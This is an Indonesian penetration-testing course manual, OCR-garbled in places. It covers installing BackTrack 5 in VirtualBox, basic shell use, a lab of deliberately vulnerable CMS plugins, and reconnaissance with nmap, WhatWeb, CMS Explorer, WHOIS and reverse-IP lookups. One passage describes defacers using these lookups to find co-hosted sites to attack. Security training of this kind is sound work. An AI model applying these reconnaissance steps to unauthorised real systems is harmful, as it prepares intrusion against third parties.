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Ox001 - Pengantar Backtrack

Tentang Backtrack

Backtrack dibuat oleh Mati Aharoni, seorang konsulting sekuriti asal Israel. Pada
perkembangan awal, Sistem Operasi Backtrack merupakan salah satu distro linux turunan dari
slackware yang juga merger dari whax dan auditor security collection.

Namun, sejak rilis ke 5, BackTrack sudah tidak lagi menggunakan basis Slackware. BackTrack kini
menggunakan basis Ubuntu.

Tools yang terkenal dalam Backtrack 5
* Metasploit

« RFMON

* Aircrack-NG

* Kismet

e Nmap

* Social Engineering Toolkit
* Hydra

* John The Ripper
e Wireshark
» Ettercap, dan masih banyak lagi

Kategori dalam Backtrack 5
* Information Gathering
*  Vulnerability Assessment
* Exploitation Tools
* Privilege Escalation
* Maintaining Access
* Reverse Engineering
e RFID Tools
* Stress testing
* Forensics
* Reporting Tools
* Services
* Miscellaneous
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Yang harus dilakukan peserta

* Trainer menjelaskan teori dan peserta mendengarkan.

* Trainer memberikan contoh perintah yang dijalankan dan peserta mengikutinya.

» Peserta dapat langsung bertanya apabila ada yang belum paham.

» Ketika dalam “hacking test” peserta melakukan penetrasi tanpa arahan dari trainer.
* Setelah penetrasi berhasil peserta harus membuat laporan hasil penetrasi.

* Didalam laporan hasil penetrasi juga harus disertakan solusi untuk menambal celah yang
sudah ditemukan.

* Apabila peserta lebih dari satu, maka peserta yang paling cepat dalam menyelesaikan
penetration testing akan mendapatkan CD Video Backtrack.

Jadi dalam kelas backtrack ini, peserta tidak hanya belajar bagaimana melakukan penetration
testing sesuai dengan prosedur, namun juga peserta tahu bagaimana membuat laporan hasil
penetrasi yang telah dilakukan.

Disini peserta maupun trainer menggunakan server lokal untuk di uji. Peserta juga akan dijelaskan
teori dan metode dasar exploitasi yang digunakan seperti SQL Injection, LFI exploitation, XSS
Exploitation, setelah peserta memahami metode dasar maka dilanjutkan exploitasi dengan tools
Backtrack.

Peserta menggunakan tahapan umum seperti :
1. Open Information Gathering

Vulnerability Assessment

Gaining Access (Web Attack)

Maintaining Access

Privilege Escalation

Covering tracks

NS kR

Penetration testing report

Peserta juga diperbolehkan menggunakan tahapan lain.
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Instalasi Backtrack di hardisk (VirtualBox)

Jalankan software VirtualBox. VirtualBox adalah perangkat lunak virtualisasi, yang dapat
digunakan untuk mengeksekusi sistem operasi "tambahan" di dalam sistem operasi "utama".
Sebagai contoh, jika seseorang mempunyai sistem operasi MS Windows yang terpasang di
komputernya, maka seseorang tersebut dapat pula menjalankan sistem operasi lain yang diinginkan
di dalam sistem operasi MS Windows

File Mesin Bantuan
{:} \ :% éb 3 Detail snapshot | & Deskripsi
Baru  Setting Mulai  Abaikan E ‘Garis Besar F
Nama: linus
finue Tipe Sistem Operasi: Other Linux
|2 Tersimpan System
Memori Dasar: 256 MB {17}
ubunt Processor(s): 1
7| @ Matikan Power Urutan Boot: Floppy, CD/DVD-ROM, Hard Disk
VT-x/AMD-V: Menyala
7S xp Nested Paging: Menyala
iﬁ Mahkan Power
Display
Memori Video: 55MB {17} =
30 Acceleration: Mati
20 Video Acceleration: Mati
Remote Display Server: Mati
(& Storage
IDE Controller
IDE Primary Master: core.vdi (Normal, 2,57 GB)
o suara
Driver Host: Windows DirectSound
Pengendali: ICH ACST
&P Jaringan )
Adapter 1: PCnet-FAST III (NAT)
¢35 Port Serial
Mat

Tampilan VirtualBox

Untuk instalasi backtrack pada virtualbox, pertama kita perlu membuat virtual machine baru dengan
klik New. Kemudian isi sesuai dengan kebutuhan.

MNama Mesin Virtual dan Tipe Sistem Operasi

Enter a name for the new virtual machine and select the type of the guest operating system you plan to
install onto the virtual machine.

The name of the virtual machine usually indicates its software and hardware configuration. It will be used
by all virtualBox components to identify your virtual machine.

Mama

05 Type

Operating System: [Microsoﬂ Windows - ] ::4‘

Version: [Windows XP -

Setting RAM paling tidak 512MB agar lancar. Namun apabila peserta memiliki RAM lebih besar
maka lebih baik lagi apabila di set diatas 512MB.
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Memori

Filih jumlah memori dasar (RAM) dalam megabytes untuk dialokasikan pada mesin virtual.
Ukuran memori dasar yang disarankan adalah 256 MB.

Ukuran Memori Dasar

1500 MB

Nah jika sudah klik next, selanjutnya adalah membuat virtual hardisk. Virtual Hardisk ini digunakan
untuk penyimpanan data baik OS Backtrack dalam VirtualBox.

Hard Disk Virtual

Select a hard disk image to be used as the boot hard disk of the virtual machine. You can either create a
new hard disk using the Mew button or select an existing hard disk image from the drop-down list or by
pressing the Extisting button (to invoke the Virtual Media Manager dialog).

If you need a more complicated hard disk setup, you can also skip this step and attach hard disks later
using the WM Settings dialog.

Ukuran hard disk boot yang disarankan adalah 8192 MEB,
Boot Hard Disk

@ Create new hard disk

() Use existing hard disk

|bt4.vdi (Normal, 8,06 GB)

Anda dapat memilih “create new hard disk” untuk membuat virtual hard disk baru. Atau “Use
existing hard disk” untuk menggunakan Virtual Hard disk yang sudah ada. Disini penulis memilih
“create new hard disk”. Trainer menggunakan “Create new hard disk™.

Klik next dan next sehingga anda akan melihat tampilan seperti pada gambar dibawah ini
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Ciptakan Disk Virtual Baru

Hard Disk Storage Type

Select the type of virtual hard disk you want to create.

A dynamically expanding storage initially occupies a very small amount of space on your physical
hard disk. It will grow dynamically (up to the size spedified) as the Guest O daims disk space.

A foced-size storage does not grow. It is stored in a file of approximately the same size as the size of
the wirtual hard disk. The creation of a fixed-size storage may take a long time depending on the storage
size and the write performance of your harddisk.

Tipe Storage
@ Dynamically expanding storage

) Fixed-size storage

Pilih “Dynamically expanding storage” lalu klik next.

K3  Ciptakan Disk Virtual Baru

Lokasi dan Ukuran Disk Virtual

Press the Select button to select the location of a file to store the hard disk data or type a file name in
the entry fild.

Location

Backirack 5] [

Select the size of the virtual hard disk in megabytes. This size will be reported to the Guest OS as the
maximum size of this hard disk.

Aturlah besarnya ukuran Virtual Hardisk. Penulis menyarankan 8GB, klik next dan klik finish.
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Risalah

‘fou are going to create a new virtual disk with the following parameters:

File type: VDI {VirtualBox Disk Image)

Details: Dynamically allocated storage

Lokasi:  C:\Users\Owner\VirtualBox VMs\ubuntutubuntu, vdi
Ukuran: 3,04 GB (3262775296 B)

If the above settings are correct, press the Create button, Once you press it the new virtual disk file will be created.

i Create ][ Cancel ]

Klik create. Selanjutnya atur boot Image CD Backtrack 5 dengan memilih Virtual Mesin yang anda
buat tadi, disini penulis memberi nama “Backtrack 5”. Klik Setting

racle VM VirtualBox
File Mesin Bantuan
{:j E‘é) Al &3 Detal |@ snapshot [ & Deskripsi |
b 4 -
I| Baru sSettng Mulai Abakan =] GarisBesar ¥
MNama: Backtrack 5
Bad kS Tipe Sistem Operasi: Other Linux
&a (@) Matikan Power System
Memori Dasar: 512MB {17}
linux Processor(s): i
[rersmpan Urutan Book: Floppy, CD/DVD-ROM, Hard Disk
VT-x[AMD-V: Menyala
@r. ubunt Mested Paging: Menyala
h Matikan Power
ak ) by
:4‘“ Memori Video: 12MBE {17} E
@Ma R 3D Acceleration: Mati
2D Video Acceleration: Mati
Remate Display Server: Mati
(& Storage
IDE Controller
IDE Primary Master: Backtrack 5.vdi (Normal, 8,00 GE)
IDE Secondary Master (CD/OVD): Empty
o suvara
Driver Host: Windows DirectSound
Pengendali: ICH ACS7 .
@ Jaringan
Adapter 1: PCret-FAST LII {NAT)
£ Port Serial
Mati .

Pilih “Storage”, pada Sorage Tree pilih icon CD dan pada Attributes CD/DVD Device pilih Image
Backtrack 5.
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£°) Backtrack 5 - Setting e
@ Garis Besar ‘Storage ‘ l
System
Display Storage Tree —————— Attributes k
@ Storage % IDE Controller Slot: [I.DESe(:ondar\.I Master v]
o suara Backtrack 5.vdi CD/DVD Device: - @

. Empty
&P Jaringan @ emty BT4 Beta.iso (853,36 ME)
@ Port Serial Information BT5-GNOME-32.is0 (1...
coyote-3,00,4%i==t2a
Q USB Size: i, Decoseq ENOS\BT5-GNOME-
I3 Folderyang di Share Location: |multicore_3.4 Attached to: Not Atte
Attached To: |ubuntu-10. 1U=gesrT™
ubuntu-11, 10-deskto...
ubuntu-12,04-deskto...
VBoxGuestAdditions.i...
— ™
@@a@e

Select 2 settings category from the list on the leff-hand side and move the mouse over 3 seftngs
ftem fo get more informaton,

[ OK. ][ Cancel ][ Bantuan

Lalu klik OK.

Setting jaringan pada virtualbox perlu, sesuai dengan kebutuhan anda. Pada Setting, pilih

“Jaringan”.
Gr s I =
,@ Garis Besar ‘ Jaringan
System
Display Adapter 1 | Adapter 2 | Adapter 3 | ndapher4|
@ Storage Myalakan Adapter Jaringan
e ST T —
& Jaringaj i
@ Port Serial b Advanced Bridged Adapter
Q USE Jaringan Internal
Host-only Adapter
[ Folderyang di Share
Select 2 settings category from the fist on the left-hand side and move the mouse over 3 settings
Jtem fo get more informabion,
OK ] [ Cancel ] [ Bantuan ]
NAT : Sistem Operasi Utama /Komputer Host tidak dapat melakukan ping atau

mengakses IP dari Sistem Operasi “tambahan” / Komputer Guest lain.

Bridged Adapter : Antar Sistem Operasi Utama / Komputer Host dan Komputer Guest dapat
saling terhubung.

Jaringan Internal : Hanya sebatas komputer — komputer di virtual saja yang saling terhubung.
Host-only Adapter : Menghubungkan antara Komputer Host dengan Komputer Guest.
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Jika sudah cukup dengan konfigurasi yang anda butuhkan, selanjutnya melakukan install Backtrack

X-oode Private Training Llcense

dimulai dari tampilan utama VirtualBox, lalu klik mulai.

a§ Oracle VM VirtualBox

L W Y

File Mesin Bantuan

S S

50

Baru Setting | Mulai | &baikan
| Mulai |

) S

[ linux
| (% | BT&rsimpan

[
|G| ubunt
/i @Maﬁkan Power

N xp
Xpq (@) Matikan Power

Mulai (nyalakan) mesin virtual terpilih

£} Detail Snapshot | & Deskripsi

[El Garis Besar
Nama:
Tipe Sistem Operasi:

System
Memori Dasar:
Processor(s):
Urutan Boot:
VT-x/AMD-V:
Nested Paging:

Display
Memori Video:
3D Acceleration:
20 Video Acceleration:
Remote Display Server:

(& Storage
IDE Contraoller
IDE Primary Master:
IDE Secondary Master (CD,/DVD):

{BJ Suara

Driver Host:

Backtrack 5
Other Linux

512MB {17}

1

Floppy, CD/OVD-ROM, Hard Disk
Menyala

Menyala

m

12MB {17}
Mati
Mati
Mati

Backtrack 5.vdi (Normal, 8,00 GB)
BT5-GMNOME-32.is0 (1,91 GB)

Windows DirectSound

Tekan [ENTER] saat menemui tampilan seperti gambar dibawah ini

. Backtrack 5 [Berjalan] - Oracle VM ‘u’irtuaJBoxi

Mesin  Device Bantuan

boot: _

[S0LINUX 3.63 Debian-Z008-07-15 Copyright (C) 1994-Z008 H. FPeter Anvin

O/ PLU

[®]right ctrl
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BackTrack Live CD

BackTrack Stealth - No Networking enabled
BackTrack Forensics — No Driveor—swap fMount
BackTrack noDRM - No DRM Dr ivers, ———)
BackTrack Debug - Safe Mode

BackTrack Memtest - Run memtest

Hard Drive Boot - boot the first hard dikk

c< back | track [= |

Press [Tabl to edit options

Pilih “Backtrack Text — Default Boot Text Mode”, tekan [ENTER]

<< back | trac

RRRRERER R R R R R R
[=]1 Welcome to the BackTrack 5 Distribution, Codename “Revolution”

[=]1 Dff icial BackTrack Home Page: http:--suuwu.backtrack-1inux.org

[=]1 Dff icial BackTrack Training :@: http:--uuu.offensive-security.com
RRRRERE R R R R R R

[x] To start a graphical interface, type "
[*] The default root password is “ t

H 3

“The quieter you become, the more you are able to hear.”

Masukan perintah “startx” lalu klik [ENTER] untuk mode Graphical Interface
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% Applications Places =m [] B 4 [ Wedjun 20, 5:44 AM

Instzll BackTrack

[

Sampai step ini,anda sudah dapat menggunakan Backtrack Live CD. Untuk install Backtrack ke
dalam Virtual Hard disk. Klik icon “Install Backtrack, Pilih bahasa yang anda inginkan, dan klik
Forward

Applications Place: stem [5 | W ¢ £ WedJun20, 6:47 AM

* Install

Welcome

Espafiol Ready to install? Once you answer a few guestions, the
Esperanto contents of the live CD can be installed on this computer
Euskara “ so you can run BackTrack Live at full speed without the CD.

Francais Answering the questions should only take a few minutes.
Gaeilge

Galego

Hrvatski

Italiano

Kurdf

Latviski

Lietuviskai

Magyar

Nederlands

Step 1of 7

™ = Install

Setting lokasi dan waktu (optional). Klik forward.
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[ Wed Jun 20, 6:50 AM

Di mana lokasi anda

Pilih lokasi anda, sehingga sistem dapat menggunakan ketentuan tampilan yang
tepat untuk negara anda, dapatkan perbaharuan dari situs dekat dengan lokasi
anda, dan atur jam sesuai waktu lokal.

Daerah |Asia [ v | Zona waktu: [Indonesia (Jakarta) [ v|

Langkah 2 dari 7 | Quit | | Back | ‘ Forward

™ | = Instal

Susunan papan ketik
Susunan yang mana yang paling mirip dengan papan ketik anda?
© |Pilihan yang disarankan:| USA

) Guess keymap: |

) Pilih sendiri:

!

Anda dapat mengetik ke dalam kotak ini untuk menguji susunan keyboard baru
anda.

Langkah 3 dari 7 | Quit I Back | ‘ Forward

™ = Instal
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Applications Places System [©_] F 4 Wed Jun 20, 5:57 PM

~~ x Instal

Mempersiapkan ruang disk

Komputer ini tidak memiliki sistem operasi..

Dimanakah anda ingin meletakkan BackTrack Live?

© Hapus dan gunakan seluruh cakram

| SC511(0,0,0) (stla) - 8.6 GB ATA VBOX HARDDISK

) Tentukan partisi secara manual (advanced)

W BackTrack Live

Langkah 4 dari 7 | Quit B Back | .FonNard

W | = Instal

“Hapus seluruh cakram”, opsi ini jika anda pilih, maka hardisk akan di format secara keseluruhan.

“Tentukan partisi secara manual”, opsi ini jika anda ingin membuat partisi sendiri untuk di isi
Backtrack.

Penulis memilih Opsi “Hapus dan gunakan seluruh cakram”. Dengan ini maka seluruh partisi akan
dihapus untuk di isi backtrack. Klik forward, kemudian klik “Pasang”.

Applications Pla m [©] ’ =4 Wed Jun 20, 6:03 PM

v x Instal
Siap untuk install
Sistem operasi baru anda sekarang akan di-install dengan setting berikut:

Bahasa: Bahasa Indonesia
Susunan keyboard: USA
Nama:

Nama login:

Lokasi: Asia/jakarta
Asisten migrasi:

Jika Anda melanjutkan, perubahan yang tertulis di bawah ini akan ditulis ke
hard disk., Bila tidak, anda dapat melakukan perubahan secara manual.
v

Lanjut...

Langkah 7 dari 7 | Quit B Back || Pasang |

™ 4 Instal

Tunggu proses sampai selesai.
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Applications Places System m

Install BackTrack

X-oode Private Training Llcense

| % Instalasi Selesai

W = Instalasi Selesai

Keluar dari “Notifikasi Instalasi”. Klik System > Shut down

] [ WedJun 20, 6:32 PM

Instalasi telah selesai. Anda dapat melanjutkan
pengecekan Ubuntu sekarang, tetapi sebelum anda
merestart komputer, setiap perubahan yang anda
buat atau dokumen yang anda simpan tidak akan

disimpan.

‘ Lanjutkan Pengecekan ‘ ‘ Restart Sekarang ‘

Anda sudah berhasil menginstall Backtrack pada Virtual Hard disk.
Atau bisa juga dengan klik “Restart Sekarang”.

Langkah yang terakhir untuk menghilangkan Boot Image CD Backtrack 5 dari konfigurasi

VirtualBox.

Klik setting pada tampilan awal VirtualBox

File Mesin  Bantuan
@ & D
Baru Settng Mulai  Abaikan

Backtrack 5

(0) Matikan Power
@
D
e x
él\‘laﬁkan Power

finux
BT&rsimpan

ubunt
@Maﬁkan Power

(& Detai |@ snapshot | @ Deskripsi |

E‘, Garis Besar
Nama:
Tipe Sistem Operasi:

System
Memori Dasar:
Processor(s):
Urutan Boot:
YT-xfAMD-:
Nested Paging:

Display
Memori Video:
3D Acceleration:
2D Video Acceleration:
Remote Display Server:

@ Storage
IDE Controller

IDE Primary Master:

{p suara

Driver Host:

IDE Secondary Master (CD,/DVD):

Backtrack 5
Other Linux

512MB {17}

1

Floppy, CD/OVD-ROM, Hard Disk =
Menyala

Menyala

12MB {17}
Mati
Mati
Mati

Backtrack 5.vdi (Mormal, 8,00 GB)
Empty

Windows DirectSound
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Pilih “Storage”, Pada Attributes CD/DVD Device Pilih opsi Empty. Lalu klik “OK”

g Garis Besar ‘ Storage
System

Display Storage Tree — | Atfributes

@ Storage @ IDE Controller Slot: [IDESECOI"IdaW Master v]
P Ssuarz - @ Hacktrack 5.vdi CD/DVD Device: |BTS-GNOME-32is0 (1% + | [
©F Jaringan B ® 5T5-GNOME-32is0 Passttrongh

@ Port Serial Information
Q USB Size: 1,91GB

B Folder yang di Share Location: E:\0S\BT5-GNOME-32.is0
Attached To: —

e

Contains all storage controllers for thiz machine and the virtual images and host drives attached to
them,

oK “ Cancel H Bantuan
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Ox002 - Dasar Penggunaan Backtrack

Login Backtrack

.7789741 NET: Registered protocol family 17

7817891 Registering the dns_resolver key type

7839451 Using IPI No-Shortcut mode

7953871 registered taskstats version 1

7985841 Magic number: 0:559:934

8002041 rtc_cmos rtc_cmos: setting system clock to 2012-06-20 11:56:40 UTC (1340193400)
§016701 BIOS EDD facility v0.16 2004-Jun—-25, 0 devices found

8038041 EDD information not available.

8061461 Freeing unused kernel memory: 680k freed

8086161 Write protecting the kernel text: 5356k

8193981 Write protecting the kernel read-only data: 1884k

oading, please wait...

9013741 udev: starting version 151

9337761 udevd (62): sprocs/6Zsoom_adj is deprecated, please use /procs6Z-/oom_score adj instead.
0604351 usb 2-1: new full speed USB device using ohci_hcd and address 2

1002421 Refined T3C clocksource calibration: 1694.558 MHz.

1082411 Switching to clocksource tsc

2664641 pcnet3Z: penetdZ2.civl.35 Z1.Apr.2008 tsbogend@alpha.franken.de

2902621 pcnetdZ 0000:00:03.0: PCI INT A —> Link[LMKC1 -> GSI 10 (level, low) -> IRQ 10

3597401 pecnetdZ: PCnet FAST III 79C973 at 0xd020, 05:00:27:34:9a:b9 assigned IRQ 10

3653321 pcnet3Z: Found PHY 0022:561b at address 0

4002661 pcnetdZ: ethO: registered as PCnet- FAST III ?9C973

4158951 pcnetdZ: 1 cards_found

4845331 input: VirtualBox USB Tablet as ~devices-pcif®000:00-0000:00:06.0 usbZ/Z-1-2-1:1.0/input/input3
4905511 generic-usb 0003:80EE:0021.0001: input,hidrawd: USB HID vl.10 Mouse [VirtualBox USB Tabletl on usb-0000:00:06.0-1

PR R e e
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[
Zinput®

[ 2.95025681 usbcore: registered new interface driver usbhid
[ Z.5048021 usbhid: USB HID core driver

BackTrack 5 - Code Mame Revolution 32 bitbt ttyl

bt login:

Pada dasarnya user default backtrack adalah root, sedangkan untuk password adalah toor. Kemudian
setelah login kita masukan perintah startx untuk memulai Backtrack Graphics Interfaces.

Gantilah password root untuk keamanan dengan menggunakan perintah passwd pada terminal.

passwd

Enter new UNIX password:

Retype new UNIX password:

Catatan : Apabila mode Graphics Interfaces mengalami error atau tidak berjalan kita dapat
menggunakan perintah

dpkg-reconfigure xserver-xorg

Jalankan WICD untuk menggunakan jaringan wireless maupun Wired. Namun apabila muncul

seperti gambar dibawah ini.
o

Po— Could not connect to wicd's D-Bus
ﬁ interface. Check the wicd log for error
messages.

Lok |
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Maka anda perlu konfigurasi ulang WICD dengan perintah

dpkg-reconfigure wicd

Konfigurasi SSH
Apabila anda memerlukan ssh server pada OS Backtrack anda, maka anda perlu konfigurasi ssh
keys. Jalankan perintah :

sshd-generate # Generate ssh key

/etc/init.d/ssh start # Menjalankan ssh service

/etc/init.d/ssh stop # Menghentikan ssh service

Perintah dasar shell
Peserta sebelum memulai pada materi selanjutnya, peserta diharuskan memahami terlebih dahulu
mengenai perintah dasar shell karena umumnya tools didalam backtrack dijalankan melalui shell.

e s : Melihat isi file dan folder

* Is-la : Melihat semua isi file dan folder yang tersembunyi maupun yang tidak
* cd [path] : Merubah lokasi direktori

e cd~ : Kembali ke user direktori

* cd- : Kembali ke lokasi folder sebelumnya

* cd. : Melompat 1 path direktori

e cd.. : Melompat 2 path direktori

* pwd : Menampilkan lokasi direktori saat ini

 cat [file] : melihat isi file

* ./nama program : Menjalankan file sebagai program / software

* ./nama_program -h : Melihat bantuan apabila ingin mengetahui perintah apa saja dalam program
tersebut

e rm [file] : Menghapus file

* rmdir [folder] : Menghapus folder

Service Backtrack

/etc/init.d/mysql start # Menjalankan mysql service

/etc/init.d/ssh start # Menjalankan ssh service

/etc/init.d/apache? start # Menjalankan http service
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Persiapan Web target

Peserta akan mendapatkan 2 file *.vdi yang didalamnya sudah terinstall OS windows, keduanya
juga sudah di install berbagai web aplikasi seperti Wordpress, Joomla, dan CMS lain yang memiliki
celah. Selain itu juga sudah terinstall berbagai software webserver yang memiliki celah untuk
latihan dan dijadikan suatu target.

Web aplikasi yang akan menjadi target adalah :
* Plugin Wordpress webplayer ( SQL Injections )
* Plugin Wordpress Postie ( Stored XSS )
* Plugin Joomla Spider Calendar Lite ( SQL Injections )
e Plugin Joomla JoomTouch ( LFI )

Sedangkan untuk webserver yang akan dijadikan target adalah :

e Xitami 2.5
e Xampp
* Apache2

OS yang digunakan sebagai webserver :
*  Windows XP SP3
* Linux Backtrack R2
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Ox003 - Information Gathering

Tahapan Information Gathering adalah untuk mengumpulkan informasi secukupnya tentang sistem
target.
Information gathering dibagi menjadi 2 :
* Teknik Active Information Gathering
Biasanya hacker menggunakan teknik port scanning, fingerprinting, dan lain-lain.
» Teknik Passive Information Gathering
Pengumpulan informasi dengan teknik ini, hacker menggunakan service WHOIS, Search
Engine, website analysis security,dan lain-lain.

Letak perbedaan antara Active itu attacker mencari informasi secara langsung, sedangkan metode
passive mencari informasi secara tidak langsung atau melalui perantara.

Active Information Gathering

Pada umumnya untuk melakukan penetrasi pada web, attacker perlu mengetahui informasi
mengenai web aplikasi, webserver, dan OS yang digunakan oleh server host. Pada active
information gathering attacker mencari informasi secara langsung dengan tools.

Webserver Scanning with Nmap

Nmap (Networki Mapping) merupakan sebuah tool open source untuk eksplorasi dan audit
keamanan jaringan. Anda dapat menggunakan tool ini untuk memeriksa jaringan publik secara
cepat ataupun jaringan lokal. Selain itu nmap dapat juga memindai port pada suatu alamat IP untuk
mengetahui informasi mengenai port tersebut. Karena materi ini fokus terhadap web penetration,
maka kita fokus pada port 80 (HTTP).

<+— HTTP Request

Web Server B

—
Sticky
l Load
Web Server A Balancing

e
3 —

Firewall
Web Server D

Untuk mengetahui informasi webserver dengan nmap kita dapat menggunakan perintah :

nmap 192.168.0.102 -sS -O -sV
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Hasil scanning

Nmap scan report for 192.168.0.102

Host is up (0.000076s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

25/tcp open smtp Postfix smtpd

80/tcp open http  Apache httpd 2.2.14 ((Ubuntu))
Device type: general purpose

Running: Linux 2.6.X]|3.X

OS CPE: cpe:/o:linux:kernel:2.6 cpe:/o:linux:kernel:3
OS details: Linux 2.6.32 - 3.2

Network Distance: 0 hops

Service Info: Host: bt.foo.org

192.168.0.102 merupakan IP address target. Terlihat bahwa webserver yang digunakan oleh host
adalah Apache 2.2.14 dan OS yang digunakan host adalah linux dengan kernel antara 2.6.32 — 3.2.
Dengan informasi ini kita dapat lebih mudah mencari informasi celah di internet maupun exploit
yang sudah siap pakai.

Keterangan opsi perintah :
e -sS : Scanning secara diam-diam
e sV : Scanning versi software yang membuka port 80

Web application analysis

Kita perlu tahu informasi detail mengenai web aplikasi yang digunakan oleh web target. Dengan ini
juga kita lebih mudah mencari letak celah dan exploit yang sudah siap pakai. Untuk identifikasi web
aplikasi sebenarnya jika peserta sudah terbiasa dengan website mungkin sangat mudah untuk
mengetauinya.

Kita menggunakan bantuan tools blindelephant, cmsexplorer, dan whatweb untuk mengidentifikasi
web aplikasi.

BigElephant

BlindElephant merupakan sebuah tools dari bahasa pemrograman python yang bisa mengetahui
versi dari aplikasi web dan plugin yang terinstall. Metode yang digunakan tools ini yaitu dengan
membandingkan file di web dengan file statik di lokasi tertentu.
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Perintah untuk memindai :

python BlindElephant.py
http://www.example.com wordpress

Loaded /pentest/web/blindelephant/src/blindelephant/dbs/wordpress.pkl with 213 versions, 5214
differentiating

paths, and 300 version groups.

Starting BlindElephant fingerprint for version of wordpress at http://www.example.com

CMS Explorer

CMS Explorer digunakan untuk mendeteksi dan mencari tahu CMS, modul, plugin, dan tema yang
digunakan target. Tool ini juga dapat mencari tahu file tersembunyi yang tidak dapat diakses oleh
browser. Selain itu juga melakukan pencarian kelemahan CMS dengan bantuan API OSVDB, anda
harus mendapatkan osvdb.key yang didalamnya terdapat API yang bisa diperoleh dari
http://osvdb.org/api/about

.Jems-explorer.pl -url http://www.example.com
-type

Wordpress -osvdb

ste s sk sfe sfe she sk ske s sk st sfe sfe sfe sfe sfe she sfe ske sk e sie st sfe sfe sfe sfe she she sk ske sk sk sie st sfe sfe sfe sfe she she sk sk sk sk st sfe sfe sl sfeskeskeoskeoskok

WhatWeb

Whatweb merupakan tools untuk mencari tahu sebanyak mungkin mengenai platform suatu web.
Dengan tool whatweb anda bisa mendapatkan informasi IP, Versi PHP, CMS, dan informasi
webserver.

J/whatweb www.example.com --max-threads 30

http://www.example.com [200] X-Powered-By[PHP/5.2.17], Country[UNITED STATES][US],
1P[184.22.233.210],

MetaGenerator[ WordPress 3.4.2], WordPress[3.4.2], Title[ Security Information | Plimper.com], x-

pingback[http://www.example.com/xmlrpc.php], JQuery[1.7.2], Apache, HTTPServer[Apache],
PHP[5.2.17],

UncommonHeaders[x-pingback]



http://osvdb.org/api/about
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Passive Information Gathering
Attacker mencari informasi dengan Search Engine (Google),dst. Attacker juga bisa mendapatkan

informasi target dengan mencari informasi didunia nyata. Contohnya melalui Koran, Surat Kabar,
dst.

Newspaper Disclosure
Contoh mengumpulkan informasi yang didapat melalui koran

Kami [ s=buzh perusahaan IT Service di Indonesjg
membutuhkan staff IT sebagai Administrator Jaringan (untulf Linux & Windows).

Sebagai Administrator Jaringan, diwajibkan untuk dapat memelihara
& merawat server kami dalam segala kondisi serta mempersiapkan
kebutuhan/support pelanggan ketika memerlukan bantuan.

Syarat & ketentuan:

- Lulusan D3 / S1 jurusan IT /
- Pengalaman 2 tahun dala engelola Linux dan Windows server Jdisukai
yang mempunyai Microsoft CertiM i ;
- Dapat melakukan install dan troubleshooting Linux, Windows Server,
DMS, Apache, FTP dan Qmail.

- memiliki kemampuan atas pekerjaan dan pengetahuan tentang database
seperti MySQL dan MS SQL.

- Minimal memiliki pengalaman 1 tahun dalam programming

Jadi kesimpulan dari informasi lowongan pekerjaan tersebut bahwa perusahaan IT service
menggunakan Linux & Windows server. Dan software yang kemungkinan digunakan Apache, FTP,
dan Qmail.

Whois domain??

Banyak situs web yang menyediakan informasi mengenai domain yang sudah dipakai orang.
Informasi yang bisa kita dapat berupa data dari pemilik, seperti alamat rumah dan nomor telp.
Kemudian IP host, dan lokasi negara asal host.

Contoh situs yang menyediakan informasi mengenai domain adalah whois.domaintools.com

Berikut informasi domain wikipedia dengan membuka alamat
http://whois.domaintools.com/wikipedia.org

Domain ID:D51687756-LROR

Domain Name:WIKIPEDIA.ORG

Created On:13-Jan-2001 00:12:14 UTC

Last Updated On:09-May-2012 00:25:29 UTC
Expiration Date:13-Jan-2016 00:12:14 UTC
Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)



http://whois.domaintools.com/wikipedia.org
http://www.domaintools.com/
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Status:CLIENT DELETE PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Registrant ID:mmr-116560

Registrant Name:Domain Admin

Registrant Organization: Wikimedia Foundation, Inc.
Registrant Streetl:149 New Montgomery Street
Registrant Street2:Third Floor

Registrant Street3:

Registrant City:San Francisco

Registrant State/Province:CA

Registrant Postal Code:94105

Registrant Country:US

Registrant Phone:+1.4158396885

Registrant Phone Ext.:

Registrant FAX:+1.4158820495

Tentu penulis tidak menuliskan secara lengkap, anda dapat membuka alamat tadi untuk melihat
informasi yang lebih lengkap.

Online port checking

Sebuah layanan situs yang menyediakan pemindaian pada port untuk mengetahui port tersebut
terbuka atau tertutup.

Contoh web yang memiliki layanan tersebut adalah http://www.yougetsignal.com/tools/open-ports/

Kelebihan menggunakan layanan tersebut :
* Menyembunyikan IP kita dari deteksi IP target
* Lebih aman dibanding scanning secara langsung
Kekurangan :
» Tidak spesifik, karena hanya memberikan informasi bahwa port terbuka atau tertutup.

Cara penggunaan :

Buka alamat http://www.yougetsignal.com/tools/open-ports/

open port finder
Remote Address|114.?9.x.x Port Number | 80| | Check |

= UUse Current IP

Check a port's status by entering an address and port number above.

Is your router causing you massive grief? Try picking up a cheap Metgear NS00 on Amazon.
Since | bought one last year, I've never had to reboot it. Port forwarding is a breeze to setup.

The open port checker is a tool you can use to check your external IP address and detect open
ports on your connection. This tool is useful for finding out if your port forwarding is setup
correctly or if your server applications are being blocked by a firewall. This tool may also be

used as a port scanner to scan your network for ports that are commonly forwarded. It is
important to note that some ports, such as port 25, are often blocked at the ISP level in an
attempt to prevent malicious activity.



http://www.yougetsignal.com/tools/open-ports/
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Masukan IP target pada kolom IP, dan masukan port yang akan di check (misal 80). Setelah itu klik
check

open port finder
Remote Address | 114.79.4x Port Number|80 || Check

’* Use Current IP

& Port 80 is closed on 114.79.58.2.

Is your router causing you massive grief? Try picking up a cheap Metgear NG00 on Amazon.
Since | bought one last year, I've never had to reboot it. Port forwarding is a breeze to setup.

about

The open port checker is a tool you can use to check your external IP address and detect open
ports on your connection. This tool is useful for finding out If your port forwarding is setup
correctly or if your server applications are being blocked by a firewall. This tool may also be
used as a port scanner to scan your network for ports that are commonly forwarded. It is
important to note that some ports, such as port 23, are often blocked at the ISP level in an
attempt to prevent malicious activity.

Ternyata hasilnya port 80 tertutup.

Reverse domain

Cara ini banyak digunakan oleh attacker (defacer), ketika suatu web dengan domain misalnya
www.example.com.Namun tidak ada celah yang bisa di exploitasi maka attacker mencari informasi
domain lain tetapi masih dalam satu dengan host www.example.com untuk diserang.

Contoh penyedia layanan reverse domain : http://www.yougetsignal.com/tools/web-sites-on-web-

server/

Penggunaan :
Buka alamat diatas, kemudian masukan alamat web target. Penulis memasukan alamat google.com
lalu klik check. Hasilnya akan seperti gambar dibawah ini :

Reverse |IP Domain Check

Remote Address|google.com| || Check |

